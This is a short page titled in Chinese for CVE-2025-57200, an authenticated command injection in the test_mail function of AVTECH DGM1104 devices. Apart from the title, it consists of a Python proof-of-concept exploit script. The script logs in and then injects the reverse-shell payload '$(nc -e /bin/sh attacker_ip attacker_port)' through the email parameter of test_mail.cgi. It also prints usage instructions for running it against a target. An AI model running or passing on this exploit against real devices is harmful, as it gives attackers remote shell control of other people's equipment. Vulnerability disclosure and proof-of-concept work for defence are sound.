CVE-2025-57200 AVTECH DGM1104 test_mail函数认证命令注入漏洞

#!/usr/bin/env python3 # CVE-2025-57200 PoC - AVTECH DGM1104 Command Injection in test_mail # This PoC demonstrates authenticated command injection vulnerability import requests import sys def exploit(target_ip, username, password, attacker_ip, attacker_port): """ Exploit the command injection vulnerability in AVTECH DGM1104 test_mail function Args: target_ip: Target device IP address username: Valid credentials for authentication password: Password for the account attacker_ip: Attacker controlled IP for reverse shell attacker_port: Port for reverse shell connection """ base_url = f"http://{target_ip}" # Authentication login_url = f"{base_url}/cgi-bin/checkUser.cgi" session = requests.Session() login_data = { "username": username, "password": password } try: # Attempt to login response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Authentication failed or device unreachable") return False print(f"[+] Successfully authenticated to {target_ip}") # Command injection via test_mail function inject_url = f"{base_url}/cgi-bin/admin/test_mail.cgi" # Payload: Reverse shell using netcat # Inject command via email parameter payload = f"$(nc -e /bin/sh {attacker_ip} {attacker_port})" exploit_data = { "mail_server": "[email protected]", "email": payload, "test": "1" } print(f"[*] Sending exploit payload...") response = session.post(inject_url, data=exploit_data, timeout=10) if response.status_code == 200: print(f"[+] Exploit sent successfully") print(f"[*] Check listener on {attacker_ip}:{attacker_port}") return True else: print(f"[-] Exploit failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 6: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password> <attacker_ip> <attacker_port>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] atk_ip = sys.argv[4] atk_port = sys.argv[5] exploit(target, user, pwd, atk_ip, atk_port)